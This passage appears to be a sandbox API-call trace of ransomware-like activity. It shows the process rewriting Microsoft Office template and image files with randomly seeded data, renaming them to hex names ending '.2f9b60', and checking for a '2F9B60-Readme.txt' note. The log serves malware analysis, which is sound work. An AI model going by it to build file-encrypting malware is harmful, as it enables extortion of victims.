[0199.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf40) returned 1 [0199.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fc70 [0199.816] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="d6") returned 2 [0199.816] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="65") returned 2 [0199.816] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="d2") returned 2 [0199.816] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="af") returned 2 [0199.816] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="c7") returned 2 [0199.816] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="c6") returned 2 [0199.816] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="7a") returned 2 [0199.816] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="1c") returned 2 [0199.816] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="e2") returned 2 [0199.816] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="f5") returned 2 [0199.816] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="a9") returned 2 [0199.816] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="88") returned 2 [0199.816] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="e5") returned 2 [0199.816] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="29") returned 2 [0199.816] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="81") returned 2 [0199.816] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="c0") returned 2 [0199.816] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="0d") returned 2 [0199.816] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="c3") returned 2 [0199.817] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="06") returned 2 [0199.817] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="88") returned 2 [0199.817] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="8f") returned 2 [0199.817] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="c0") returned 2 [0199.817] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="2e") returned 2 [0199.817] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="13") returned 2 [0199.817] RtlInitAnsiString (in: DestinationString=0x2bcdf948, SourceString="d665d2afc7c67a1ce2f5a988e52981c00dc306888fc02e13" | out: DestinationString="d665d2afc7c67a1ce2f5a988e52981c00dc306888fc02e13") [0199.817] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bcdf918, SourceString="d665d2afc7c67a1ce2f5a988e52981c00dc306888fc02e13", AllocateDestinationString=1 | out: DestinationString="d665d2afc7c67a1ce2f5a988e52981c00dc306888fc02e13") returned 0x0 [0199.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4309fec0 [0199.818] wcscat (in: _Dest=0x431ec720, _Source="d665d2afc7c6" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\d665d2afc7c6") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\d665d2afc7c6" [0199.818] wcscat (in: _Dest=0x431ec720, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\d665d2afc7c6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\d665d2afc7c6.2f9b60" [0199.818] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\d665d2afc7c6.2f9b60", NtPathName=0x2bcdf8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\d665d2afc7c6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x4205f6a0 [0210.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f6a0) returned 1 [0210.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309c680) returned 1 [0210.574] NtQueryInformationFile (in: FileHandle=0x1b5c, IoStatusBlock=0x2bcdf958, FileInformation=0x2bcdf968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bcdf958, FileInformation=0x2bcdf968) returned 0x0 [0210.574] NtSetInformationFile (FileHandle=0x1b5c, IoStatusBlock=0x2bcdf958, FileInformation=0x2bcdf968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0215.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ec720) returned 1 [0215.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309fec0) returned 1 [0215.230] FlushFileBuffers (hFile=0x1b5c) returned 1 [0215.235] CloseHandle (hObject=0x1b5c) returned 1 [0217.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x43150400 [0217.663] wcscpy (in: _Dest=0x43150400, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0217.663] wcscat (in: _Dest=0x43150400, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" [0217.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\2f9b60-readme.txt")) returned 0x20 [0217.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43150400) returned 1 [0217.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862880) returned 1 Thread: id = 1873 os_tid = 0xd70 [0133.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Tags.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\tags.accft")) returned 0x20 [0133.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Tags.accft", dwFileAttributes=0x20) returned 1 [0133.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Tags.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\tags.accft"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b68 [0133.330] GetFileSizeEx (in: hFile=0x1b68, lpFileSize=0x2c36fc00 | out: lpFileSize=0x2c36fc00*=4343) returned 1 [0133.330] SetFilePointerEx (in: hFile=0x1b68, liDistanceToMove=0x10f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.331] ReadFile (in: hFile=0x1b68, lpBuffer=0x2c36fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c36fbc8, lpOverlapped=0x0 | out: lpBuffer=0x2c36fb80*, lpNumberOfBytesRead=0x2c36fbc8*=0x4, lpOverlapped=0x0) returned 1 [0133.334] SetFilePointerEx (in: hFile=0x1b68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0133.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266fc0 [0133.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267170 [0133.334] NtQuerySystemTime (in: CurrentTime=0x2c36fac0 | out: CurrentTime=0x2c36fac0*=132462177385822000) returned 0x0 [0133.334] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x3a11635a [0133.334] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x6a5fea94 [0133.334] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0xc844f51 [0133.334] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x401cb0bf [0133.334] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x40d6e7a7 [0133.334] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x31607a56 [0133.334] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x972c8d8 [0133.334] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x17d3c59e [0133.334] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x47bcf29e [0133.334] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x645073e0 [0133.334] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x220c8163 [0133.334] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x35f01c63 [0133.334] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x73765b1 [0133.334] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x4c03a7fe [0133.334] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x1639592f [0133.334] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x11e4aba [0133.334] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x703eb8ca [0133.335] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0xe9905ae [0133.335] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x1e9ff17 [0133.335] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x48d100a4 [0133.335] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x21611e63 [0133.335] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x2aa27eec [0133.335] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x26a68ac5 [0133.335] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x209dd154 [0133.335] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x15e11f23 [0133.335] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x43b614f4 [0133.335] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x5d51d946 [0133.335] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x630d874 [0133.335] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x21b6cfe3 [0133.335] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x69737e41 [0133.335] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x56e0e0df [0133.335] RtlRandomEx (in: Seed=0x2c36fab0 | out: Seed=0x2c36fab0) returned 0x4c8eca33 [0133.350] ReadFile (in: hFile=0x1b68, lpBuffer=0x41c900b0, nNumberOfBytesToRead=0x10f7, lpNumberOfBytesRead=0x2c36fab0, lpOverlapped=0x0 | out: lpBuffer=0x41c900b0*, lpNumberOfBytesRead=0x2c36fab0*=0x10f7, lpOverlapped=0x0) returned 1 [0133.354] SetFilePointerEx (in: hFile=0x1b68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.354] WriteFile (hFile=0x1b68, lpBuffer=0x41c93cc0, nNumberOfBytesToWrite=0x10f7, lpNumberOfBytesWritten=0x2c36fab4, lpOverlapped=0x0) [0180.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9d70 [0180.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9d40 [0180.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9d40) returned 1 [0180.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c93cc0) returned 1 [0180.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c900b0) returned 1 [0180.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0180.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97440) returned 1 [0180.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cdd9d40 [0180.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97440 [0180.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0180.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9c80 [0180.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9c80) returned 1 [0180.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cdd9c80 [0180.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda550 [0180.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda580 [0180.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda580) returned 1 [0180.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0180.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97440) returned 1 [0180.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x423a9a30 [0180.189] SetFilePointerEx (in: hFile=0x1b68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.189] WriteFile (in: hFile=0x1b68, lpBuffer=0x423a9a30*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2c36fbd0, lpOverlapped=0x0 | out: lpBuffer=0x423a9a30*, lpNumberOfBytesWritten=0x2c36fbd0*=0x106, lpOverlapped=0x0) returned 1 [0199.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0199.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0199.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264a10 [0199.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264a10) returned 1 [0199.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0f120 [0199.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264a10 [0199.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265220 [0199.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265220) returned 1 [0199.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0199.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0199.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d7fc0 [0199.661] sprintf (in: _Dest=0x1b7d7fc0, _Format="%c%c" | out: _Dest="da") returned 2 [0199.661] sprintf (in: _Dest=0x1b7d7fc2, _Format="%c%c" | out: _Dest="10") returned 2 [0199.662] sprintf (in: _Dest=0x1b7d7fc4, _Format="%c%c" | out: _Dest="8b") returned 2 [0199.662] sprintf (in: _Dest=0x1b7d7fc6, _Format="%c%c" | out: _Dest="72") returned 2 [0199.662] sprintf (in: _Dest=0x1b7d7fc8, _Format="%c%c" | out: _Dest="6d") returned 2 [0199.662] sprintf (in: _Dest=0x1b7d7fca, _Format="%c%c" | out: _Dest="11") returned 2 [0199.662] sprintf (in: _Dest=0x1b7d7fcc, _Format="%c%c" | out: _Dest="a9") returned 2 [0199.662] sprintf (in: _Dest=0x1b7d7fce, _Format="%c%c" | out: _Dest="83") returned 2 [0199.662] sprintf (in: _Dest=0x1b7d7fd0, _Format="%c%c" | out: _Dest="f3") returned 2 [0199.662] sprintf (in: _Dest=0x1b7d7fd2, _Format="%c%c" | out: _Dest="b8") returned 2 [0199.662] sprintf (in: _Dest=0x1b7d7fd4, _Format="%c%c" | out: _Dest="93") returned 2 [0199.662] sprintf (in: _Dest=0x1b7d7fd6, _Format="%c%c" | out: _Dest="35") returned 2 [0199.662] sprintf (in: _Dest=0x1b7d7fd8, _Format="%c%c" | out: _Dest="aa") returned 2 [0199.662] sprintf (in: _Dest=0x1b7d7fda, _Format="%c%c" | out: _Dest="40") returned 2 [0199.662] sprintf (in: _Dest=0x1b7d7fdc, _Format="%c%c" | out: _Dest="b0") returned 2 [0199.662] sprintf (in: _Dest=0x1b7d7fde, _Format="%c%c" | out: _Dest="6e") returned 2 [0199.662] sprintf (in: _Dest=0x1b7d7fe0, _Format="%c%c" | out: _Dest="bb") returned 2 [0199.662] sprintf (in: _Dest=0x1b7d7fe2, _Format="%c%c" | out: _Dest="65") returned 2 [0199.662] sprintf (in: _Dest=0x1b7d7fe4, _Format="%c%c" | out: _Dest="aa") returned 2 [0199.662] sprintf (in: _Dest=0x1b7d7fe6, _Format="%c%c" | out: _Dest="4a") returned 2 [0199.662] RtlInitAnsiString (in: DestinationString=0x2c36fc48, SourceString="da108b726d11a983f3b89335aa40b06ebb65aa4a" | out: DestinationString="da108b726d11a983f3b89335aa40b06ebb65aa4a") [0199.662] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c36fc18, SourceString="da108b726d11a983f3b89335aa40b06ebb65aa4a", AllocateDestinationString=1 | out: DestinationString="da108b726d11a983f3b89335aa40b06ebb65aa4a") returned 0x0 [0199.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858850 [0199.663] wcscat (in: _Dest=0x1b7a5440, _Source="da108b726d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\da108b726d") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\da108b726d" [0199.663] wcscat (in: _Dest=0x1b7a5440, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\da108b726d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\da108b726d.2f9b60" [0199.663] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\da108b726d.2f9b60", NtPathName=0x2c36fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\da108b726d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205f500 [0203.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f500) returned 1 [0203.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3c50) returned 1 [0203.501] NtQueryInformationFile (in: FileHandle=0x1b68, IoStatusBlock=0x2c36fc58, FileInformation=0x2c36fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c36fc58, FileInformation=0x2c36fc68) returned 0x0 [0203.501] NtSetInformationFile (FileHandle=0x1b68, IoStatusBlock=0x2c36fc58, FileInformation=0x2c36fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0208.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5440) returned 1 [0208.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858850) returned 1 [0208.307] FlushFileBuffers (hFile=0x1b68) returned 1 [0208.325] CloseHandle (hObject=0x1b68) returned 1 [0216.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b7a5700 [0216.012] wcscpy (in: _Dest=0x1b7a5700, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0216.012] wcscat (in: _Dest=0x1b7a5700, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" [0216.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\2f9b60-readme.txt")) returned 0x20 [0216.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5700) returned 1 [0216.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d550) returned 1 Thread: id = 1874 os_tid = 0xd7c [0133.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\sketchiconimages.bmp")) returned 0x20 [0135.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp", dwFileAttributes=0x20) returned 1 [0138.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\sketchiconimages.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f40 [0141.603] GetFileSizeEx (in: hFile=0x1f40, lpFileSize=0x2c48f660 | out: lpFileSize=0x2c48f660*=11576) returned 1 [0141.603] SetFilePointerEx (in: hFile=0x1f40, liDistanceToMove=0x2d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.603] ReadFile (in: hFile=0x1f40, lpBuffer=0x2c48f5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c48f628, lpOverlapped=0x0 | out: lpBuffer=0x2c48f5e0*, lpNumberOfBytesRead=0x2c48f628*=0x4, lpOverlapped=0x0) returned 1 [0141.676] SetFilePointerEx (in: hFile=0x1f40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe050 [0141.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe080 [0141.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe0b0 [0141.676] NtQuerySystemTime (in: CurrentTime=0x2c48f520 | out: CurrentTime=0x2c48f520*=132462177469126000) returned 0x0 [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x6fea24d4 [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x61a5668f [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x479b3835 [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x1dca99d6 [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x335fcc7f [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x621f1f8a [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x26fbd5f4 [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x49021262 [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x56c1171b [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x753a409d [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x426982cb [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x423f0a3e [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x4614b228 [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x41e774a9 [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x234eaae8 [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x74e92787 [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x4f53d69d [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x7df1dc41 [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x2ff8cec8 [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x60e3f47f [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x517ba0bd [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x7b47c0eb [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x218968cc [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x52288488 [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x66e46d55 [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x4a9a24c6 [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x75e2d64 [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x16b1c7b8 [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x276998cc [0141.677] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x79edfa9d [0141.678] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x2b0e542d [0141.678] RtlRandomEx (in: Seed=0x2c48f510 | out: Seed=0x2c48f510) returned 0x3255df58 [0141.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe0e0 [0141.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe110 [0141.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe0b0) returned 1 [0141.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe050) returned 1 [0141.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe050 [0141.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe050) returned 1 